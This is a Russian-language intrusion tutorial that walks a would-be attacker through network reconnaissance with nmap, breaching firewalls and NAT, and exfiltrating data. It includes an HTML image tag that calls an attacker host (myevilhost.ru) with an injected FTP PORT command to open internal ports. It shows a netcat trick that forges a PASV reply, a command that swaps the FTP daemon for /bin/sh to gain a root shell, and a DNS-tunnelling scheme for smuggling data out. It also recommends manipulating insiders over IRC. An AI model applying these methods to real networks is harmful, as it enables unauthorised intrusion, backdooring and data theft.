|
Абсолютно защищенный компьютер изготовлен целиком из бетона, без примеси кремния |
Введение
<пафос off>
Бесконечное богатство полезной информации хранится за корпоративными и иными
файрволами, во внутренних и домашних сетях, на серверах, рабочих станциях и
просто домашних компьютерах. Но если у этих компьютеров есть доступ во внешний
мир, значит и у внешнего мира есть доступ к ним, а частенько и к хранящейся
там информации. Комуто эта статья может показаться наивной, но я надеюсь что
кому-то она все-же окажется полезной и откроет глаза на несовершенство
как используемых программ, так и на несовершенные конфигурации и забытые
возможности.
<пафос off>
Итак, когда ты уже выбрал цель - самое время произвести разведку и выяснить
какие силы нам противопоставляют админы, если исследуется сеть, то как она
устроена изнутри, какие сервисы имеются в наличии и тому подобную полезную
информацию. Обычно самой подробной информацией такого рода обладают админы
сети, они же и могут помочь получить доступ ко внутренним ресурсам, но если
ты не готов заплатить братве за поимку и раскалывание админа, то есть и более
дешевые, хотя и не такие надежные методы.
NMAP
Тулза NMAP ( http://www.insecure.org/nmap ) от небезызвестного дяди Fyodor'а
поможет нам многое узнать. Это мощный инструмент который позволит в разных
режимах просканировать сети и отдельные хосты, по особенностям ответов сетевого
стека исследуемой цели поможет угадать какая операционная система запущена на
той стороне. В лучших традициях сетевой общественности, nmap раздается
в виде исходных текстах, но если тебе неохота заморачиваться с компиляцией,
тебе дадут и уже скомпилированные бинари для твоей OS, в том числе и для
разных версий Windows. Тем кому не хочется возиться с коммандной строкой дадут
даже графическую морду.
Самый простой режим использования - это просто запустить nmap и указать ему
цель для исследования:
[green@car green]$ nmap 172.17.10.55
Starting nmap V. 3.00 ( www.insecure.org/nmap/ )
Interesting ports on testbox.sample.ru (172.17.10.55):
(The 1594 ports scanned but not shown below are in state: closed)
Port State Service
22/tcp open ssh
25/tcp open smtp
53/tcp open domain
79/tcp open finger
110/tcp open pop-3
113/tcp open auth
8080/tcp open http-proxy
Nmap run completed -- 1 IP address (1 host up) scanned in 4 seconds
Из приведенного вывода можно узнать что машинка с таким IP включена и отвечает
на сетевые запросы. Так же нам дали список портов, на которых кто-то отвечает
м предположением кто-бы это мог быть. Если nmap был запущен от обычного
непривелигированного пользователя, то он испоkьзует так называемый "грязный"
TCP скан, после которого в логах на той стороне остаются наши следы:
Sep 21 06:19:14 testbox sshd[2188]: Did not receive identification string from 21
3.25.7.123
Sep 21 13:37:08 testbox xinetd[976]: START: pop3 pid=2473 from=172.17.10.90
Запущеный от рута или с опцией -sS, nmap выбирает более безопасный режим
сканирования который обычно не оставляет следов в логах, хотя некоторые
пакетные фильтры и способны обнаруживать такие попытки. Секрет невидимости
сканирования (SYN scan или half-open scanning) заключается в том что мы не
устанавливаем соединение до конца, для каждого порта высылается пакет
на установление соединения (с установленным SYN флагом), в случае если та
сторона отвечает что порт открыт и соединение может быть установленно
(установлены флаги SYN и ACK), то мы запоминаем этот факт и высылаем
пакет запрашивающий сброс соединения (флаг RST) вместо пакета с подтверждением.
Если же мы в ответ получем пакет с отказом - значит этот порт никем не
слушается, либо прикрыт файрволом, что мы так же запоминаем.
Помимо этого есть еще три типа сканирования: Stealth FIN, Xmas Tree и Null scan,
которые включаются соответственно как -sF -sX -sN.
Эти режимы полезны чтобы обмануть некоторые файрволы и пакетные фильтры,
которые обнаруживают предыдущий вид сканирования следя за приходом SYN пакетов
на запрещенные/никем не обслуживаемые порты. Эти режимы посылают пакет с
установленным флагом завершения соединения (-sF и -sX), либо вообще без флагов,
ответы для открытого и закрытого порта должны различаться, что нам и нужно.
К сожалению в фирме Microsoft как всегда креативно подошли к интерпретации
сетевых стандартов и все пакеты такго вида совершенно игнорируются, так что
эти опции не применимы для сканирования Windows-машин.
Еще один скрытный вариант сканирования это так называемый Idle scan включаемый
по опции -sI host или -sI host:port . Вместо host необходимо подставить
IP адрес какого-нибудь сетевого хоста, желательно чтобы через этот хост
проходило как можно меньше траффика в момент сканирования. В случае исользования
этого режима, сканирование выглядит как выполняемое с того самого хоста,
который мы указали как параметр к опции -sI, что несомненно есть очень удобно.
Второй плюс такого сканирования в том, что мы видим список открытых портов с
точки зрения того хоста, через который выполняется сканирование, так что при
аккуратном выборе можно узнать кое-что из того что владельцы внутреннй сети и
файрвола хотели бы скрыть.
Очень сходный результат с предыдущей опцией можно получить проводя сканирование
через ftp сервер (можно указать с помощью опции
-b username:password@server:port, присутствуют все те же плюсы что и в
предыдущем пункте, единственная проблема заключается в том что ftp серверов
поддерживающих "ftp proxy" соединения в интернете становится с каждым днем все
меньше.
По умолчанию nmap сканирует только те машины которые отвечают на ping запросы
(такой запрос посылается перед сканированием), так как некоторые файрволы
блокируют такие запросы, этот режим можно отключить с помощью опции -P0
Все сказанное выше относится к сканированию TCP портов. nmap так же способен
сканировать и UDP порты, для этого служит опция -sU. Несмотря на то что
обычно самые интересные и дырявые сервисы слушают только TCP порты,
все-же существуют сервисы расчитанные на UDP, в частности многие RPC сервисы
(включая nfs) в Solaris известны своей дырявостью, так же если повезет -
можно найти установленный и готовый к работе бекдор BackOrifice от cDc или
еще чо-нибудь подобное. К сожалению одним из недостатков UDP сканиорвания
является его низкая скорость так как многие операционные системы искусственно
ограничивают количество отказов в соединении по закрытым UDP портам
(например Linux по умолчанию дает не более 80ти отрицательных ответов за
четыре секунды, Solaris имеет еще более строгий лимит в 2 отказа в секунду),
по счастью Windows не вводит никаких ограницений на эту тему, так что
сканировать UDP порты в Windows легко, быстро и приятно.
В режиме сканирования -sA можно попытаться получить некоторые сведения о
правилах в файрволе, а так же является ли он простым пакетным фильром, либо
запоминает состояние всех проходящих через него соединений. Порты, которые
обозначены как "filtered" в результатах работы nmap явно закрыты файрволом.
Еще один режим сканирования похожий на предыдущий включается параметром -sW,
помимо определения прикрытых (файрволом) портов он так же в некоторых случаях
способен определить и открытые порты (работает в случае наличия некоторых
операционных систем с той стороны, в частности *BSD, SunOS 4.x).
Опция -sR пытается отослать на все открытые порты RPC команду NULL, и если
получает вразумительный ответ - получает от обнаруженного сервиса его имя и
версию.
Используя опцию -O можно попросить nmap угадать какая версия OS запущенна на
интересующем нас хосте, а в некоторых случаях так же и сколько времени прошло
с момента последней перезагрузки. Этот анализ производится на основе ответов
OS на специально скомпонованные правильный и неправильные сетевые пакеты.
К сожалению если администратор системы менял настройки TCP стека, такое угадывание
становится неэффективным.
Для предыдущего примера в самом начале результат угадывания выглядит так:
Remote operating system guess: Linux Kernel 2.4.0 - 2.5.20
Uptime 13.057 days (since Sun Sep 8 13:14:58 2002)
Используя опцию -I можно выяснить от какого пользователя запущен тот или иной
сетевой сервис, к сожалению это работает только если в списке сервисов есть
"auth" и выполняется "грязный скан".
nmap способен сканировать больше чем один хост за раз, для этого можно
перечислить список IP адресов, или хостемов в командной строке.
Для сканирования сетей существуют способы указать сразу сеть целиком, например
для сканирования всех хостов чей адрес начинается на 192.168, можно
воспользоваться такими сокращениями: 192.168.0-255.0-255 или '192.168.*.*'
или даже 192.168.1-50,51-255.1,2,3,4,5-255. И конечно же можно просто указать
маску подсети: 192.168.0.0/16. Используя '*' помни что многие шеллы
пытаются подставлять имена файлов, так что незабывай заключать такие
конструкции в одинарные кавычки.
Проходим сквозь файрвол
Атака на файрвол
В случае когда файрвол вынесен на отдельный хост, либо используется
кисковская или еще какая железка, то можно считать файрвол одним из самых
защищенных хостов сети и не тратить на него время. Совсем другое дело когда
помимо функций файрвола на компе выполняются другие сервисы, такое решение
можно встретить довольно часто ввиду его дешевизны.
Порядок действий в этом случае очевиден - проверяем ломается ли какие из
торчащих наружу сервисов до хотя-бы локального шелла, имея локальный шелл
уже можно собрать редиректор, который будет переправлять наши пакеты внутрь
"защищенной" сети, как будто эти пакеты исходят от самого файрвола, ну и само
собой переправлять нам ответы изнутри. В случае получения рутового акцесса
все еще проще, можно изменить настройки файрвола так как нам нужно.
Стоит так же обратить внимание на наличие уже запущенных редиректоров,
призванных помогать внутренней сети получать доступ в интернет, но в
результате админских глюков - не закрытых от доступа снаружи. Нам вполне
подойдет открытый socks или https прокси. Если имеется ftp сервер - то так же
можно выяснить кое-что для себя полезное.
Для успешного использования редиректора пакетов неплохо бы узнать используемые
внутри сети адреса, не слать же запросы наудачу, так можно истратить лучшие годы
жизни на ожидание. Если ты уже получил локальный шелл, то самое время запустить
/sbin/ifconfig, который покажет все работающие сетевые интерфейсы, связанные
с ними адреса и сетевые маски. Отбрось тот через который ты пришел, а так же
другие внешние каналы (если их больше одного) и все остальное - внутренняя сеть.Самое время ее сканировать.
Без шелла все не так тривиально и прийдется попросить помощи у тех кто живет
внутри. Например если известно что внутри защищенной сети кто-то постоянно
отвисает в irc - то смое время зайти в ту же irc сеть и завязать с этим челом
разговор, наша цель в данном случае - чтобы он открыл к нам DCC соединение,
будь то DCC chat или просто файлик который мы у него попросим. Стоит предвидеть
что чел начнет плакаться на неработу DCC, самое время вспомнить про НЛП и свой
дар убеждения. Результатом успешной работы будет запрос выглядящий примерно так:
*** DCC CHAT (chat) request received from green-- [172.17.10.90:40251]
В данном случае 172.17.10.90 - это и есть один из адресов во внутренней сети,
по которому можно понять что скорее всего используется сеть 172.17.10.0/24.
Естественно это работает только в том случае если используемый файрвол ничего не
знает про irc протокол. Если же в запросе приехал нормальный адрес и DCC
нормально работает, то у нас есть три варианта - адрес совпадает с одним из
адресов файрвольного компа - чел либо имеет шелл на файрвольном компе и ходит
оттуда, либо файрвол знает про DCC и правильно подменяет адреса в проходящих
через него пакетах, оба эти варианта представляют для нас практическую ценность
и их стоит запомнить. Третий вариант - это использование во внутренней сети
обычных IP адресов, просто прикрытых файрволом от доступа снаружи, в таком
случае мы так же получаем данные о используемых внутри сети адресах.
Дже если в конторе никто не юзает irc - еще не все потеряно, ведь у нас в запасе
есть очень богатый возможностями протокол ftp.
Если удастся заставить кого-то из внутренней сети нажать на ссылку подобную
этой: <a href="ftp://myevilhost.ru:1111/pub/somefile"> В данном случае
myevilhost.ru - это комп на котором у тебя есть возможность запустить сервер
на 1111м порту (либо любом другом, тогда нужно поправить ссылку), на 1111м
порту нужно запустить модифицированный ftp сервер который будет запоминать
все PORT команды. В случае если клиент не ходит через ftp/http прокси - это
наверняка сработает и ты увидишь в созданном логе строчки наподобии этой:
PORT 1,2,3,4,0,44452 это значит у клиента был адрес 1.2.3.4.
Подобную ссылку можно завернуть в письмо посланное внутрь сети, если
<a href="..."> ссылка требует ручного нажатия, что невсегда удобно,
то <img src="ftp://myevilhost.ru:1111/pub/somefile"> может выполниться
и само по себе.
Еще одним способом получить множество информации о внутренностях сети является
засылка туда трояна, который может не только узнать используемые внутри сети
адреса, но так же установить туннель с твоим хостом для удобства исследования
сети, собрать и отослать нужные файлы и тп. К сожалению этот способ эффективен
только если широко расплодившиеся в последнее время антивирусы на уничтожат
троян по пути к месту назначения и к тому же внутри сети трояну удастся
запуститься. Мы рассмотрим кое какие триксы применемые в троянах ниже.
Публичные сервера в одной сети с внутренними компами
Не так уж редко можно столкнуться с архитектурой сети при которой за файрволом
находятся сервера и рабочие станции внутри одной сети, при этом часть серверов
находится в публичном доступе и файрвол пропускает пакеты к этим серверам,
а часть серверов и рабочие компы файрволом прикрыты, и имеют, например,
адреса из private address space типа 192.168.0.0/16. В этом случае полностью
применимо все сказанное выше относительно сервисов на файрволе, то есть сломав
один из таких видимых снаружи серверов - получаем полный доступ в локальную
сеть. К тому же сломав один из серверов можно получить расширенный доступ и
к соседним серверам, мало кто станет закрывать свои сервера друг от друга
и если снаружи зайти на 139й порт windows серверов не удастся из-за файрвола,
то сделать это изнутри скорей всего удастся.
Обходим NAT
NAT расшифровывается как Network Address Translation. Общий принцип работы
заключается в перехвате пакетов посланных из внутренней сети файрволом и
подмене внутренних адресов на внешние, при этом составляется табличка
соответствия между парой внешний (подставленный) IP,
внешний (подставленный) порт, и внутренний (изначальный) IP и порт.
Когда на отправленный запрос приходит ответ, по адресу и порту файрвол
выясняет куда необходимо отправить этот ответ во внутренней сети, еще раз
подменяет IP и порт, и отправляет пакет вовнутрь. Такая схема работы не требует
специальной настройки клиентских программ и полностью для них прозрачна,
а потому очень популярна.
На самом деле такая "прозрачность" легко осуществима только для простых
протоколов, которым достаточно одного соединения, типа HTTP. С более
сложными протоколами, например FTP, все обстоит гораздо сложнее.
При работе по FTP протоколу открывается так называемое управляющее соединение,
по этому соединению сервер и клиент обмениваются командами и ответами на
команды. Когда необходимо передать файл или другие не управляющие данные -
открывается еще одно соединение по которому данные и передаются.
Причем открытие соединения осуществляется со стороны сервера на адрес и порт
указанный клиентом.
Чтобы такие сложные последовательности рабоали через NAT в него обычно
встраиваются специальные хелперы для определенных протоколов (обычно
протоколы определяются по портам), которые обрабатывают управляющие команды
протоколов и подменяют, если это необходимо, адреса не только в пакетах,
но и в командах внутри пакетов.
Поскольку согласно протоколу клиент передает не только адрес для соединения, но
и порт - это открывает нам возможность обратиться практически к любым портам
машин находящихся за файрволом со включенным NAT и поддержкой active ftp
соединений.
К примеру послав внутрь такого рода сети письмо содержащее html тег
<IMG SRC="ftp://ftp.myevilhost.ru/aaaaa%0d%0aPORT 1,2,3,4,0,139">
либо убедив юзера из той сети зайти на html страничку с таким тегом, и запустив
на ftp.myevilhost.ru специальным образом пропатченный FTP сервер, который
не будет открывать по указанному адресу/порту соединение, а просто запомнит
адрес и порт. В таком случае с точки зрения NAT клиент посылает такую
последовательность контрольных комманд:
RETR aaaaa
PORT 1,2,3,4,0,139
после необходимой подмены ftp серверу приходит пакет с настоящим IP адресом и
портом, при коннекте на который на самом деле соединение будет установлено со
139м портом внутреннего компа. Естественно можно использовать не только 139й,
но и любой другой порт.
помимо ftp, подобными же свойствами обладают протоколы DCC (в irc),
Oracle SQL*Net (версия использующая раздельные каналы данных), RealAudio/Video
(использует дополнительный UDP канал), H.323 (NеtMeeting и тп).
Очень похожий глюк можно использовать и против ftp сервера находящегося за
файрволом и работающего в passive режиме.
В данном случае файрвол следит за сообщениями сервера в поисках 227го кода
ответа, который выглядит как "227 (1,2,3,4,10,11)", что рассшифровывается как
положительный ответ на команду PASV для открытия соединения для передачи
данных с сервером 1.2.3.4, порт 2571 (10*256+11).
Наша задаче заставить ftp сервер выдать такой ответ, а файрвол - его принять.
Один из способов это проделать - добиться чтобы переданные нами данные были
возвращены сервером (например как сообщение об ошибке), а 227 .... ответ
начинался на границе пакета, тогда с точки зрения файрвола это будет выглядеть
как вполне нормальный ответ сервера и доступ по указанному порту будет открыт
(само собой по этому порту будет что-о нам интересное).
Для удобства контроля за расположением данных в пакете мы уменьшим MTU на
интерфейсе через который мы посылаем данные до 100 байт. (MTU - максимальный
размер пакета который может передаваться ччерез интерфейс).
Вот как это может выглядеть (ftp сервер находится по адресу 172.16.0.2):
# /sbin/ifconfig eth0 mtu 100
# nc -vvv 172.16.0.2 21
(UNKNOWN) [172.16.0.2] 21 (?) open
220 sol FTP server (SunOS 5.6) ready.
...........................................227 (172,16,0,2,128,7)
500 '...........................................
[1]+ Stopped nc -vvv 172.16.0.2 21
В этот момент мы можем соединиться сервером по порту 32775 (128*258+7),
в случае если на той стороне установлен Solaris 2.6, на этом порту
сидит дырявый ToolTalk сервис, который мы теперь можем поиметь.
Некоторые реализации файрвола позволяют передавать данные по такому открытому
порту только в одном направлении - к серверу, так что для окончательного успеха
нам нужен такой ToolTalk, который выполнит например такие операции:
"cp /usr/sbin/in.ftpd /tmp/in.ftpd.back ; rm -f /usr/sbin/in.ftpd ; cp /bin/sh /usr/sbin/in.ftpd".
В результате следующее соединение к этому серверу по 21му порту даст нам
root shell.
Передача информации изнутри
Теперь посмотрим как можно передать инфу изнутри сети прикрытой файрволом.
Естественно для этого нужно иметь помошника - например трояна, или живого
человека готового продать информацию изнутри, но не готового носить внутрь
дискетки/винты (например из-за строгого пропускного режима).
В самом простом случае все исходящие соединения сделанные с внутренних машин
наружу будут работать, в таком случае информацию можно просто переслать
(в случае с трояном - он установит соединение наружу, по которому ему будут
передавать команды что делать дальше - например установить еще одно соединение
и все данные из него перенаправить для выполнения cmd.exe (или другим
локальным шеллом если троян не для windows)).
В чуть более сложном случае - исходящие сосединения будут разрешены только
на определенные порты (например 80 - для http и тп) - этот случай почти так же
тривиален как и предыдущий, всего лишь нужно заставить троян
сорединяться с твоим серваком по 80му порту. (ну или человеку передавать
данные на 80й порт).
Но если из внутренней сети есть доступ в Internet и внутри есть помошник -
информацию утаить невозможно.
Рассмотрим один из полупараноидальных случаев - никаких прямых соединений с
интернетом установлено быть не может, доступ в интернет через запароленный
proxy c мониторингом кто куда ходит и что передает.
В таком случае информацию можно передать например... через DNS!
Простейший пример - регистрируется домен mydomain.ru, на обслуживающем его
сервере имен устанавливается специальный софт. Стороны договариваются
(либо создатель трояна встраивает его в троян) о секретном протоколе обмена,
например запрос к aN.mydomain.ru означает единицу, а к bN.mydomain.ru означет
ноль передаваемый со стороны внутренней сети. N - любое число (чтобы
не получать ответы из кеша - число меняется каждый раз). Запрос на
zN.mydomain.ru - служит для получения информации от внешнего хоста,
информация передается например как один из двух IP адресов.
Указанная схема довольно примитивна, чуваки из dereference написали полноценный
туннель который будет работать в в случае если единственный доступный internet
сервис - это DNS. Их тулза предназначена в основном для получения халявного
интернета через демо аккаунты буржуйских ISP (само собой где-то в инете нужно
иметь и сервер со вторым концом туннеля). Скачать исходники тулзы можно с http://nstx.dereference.de/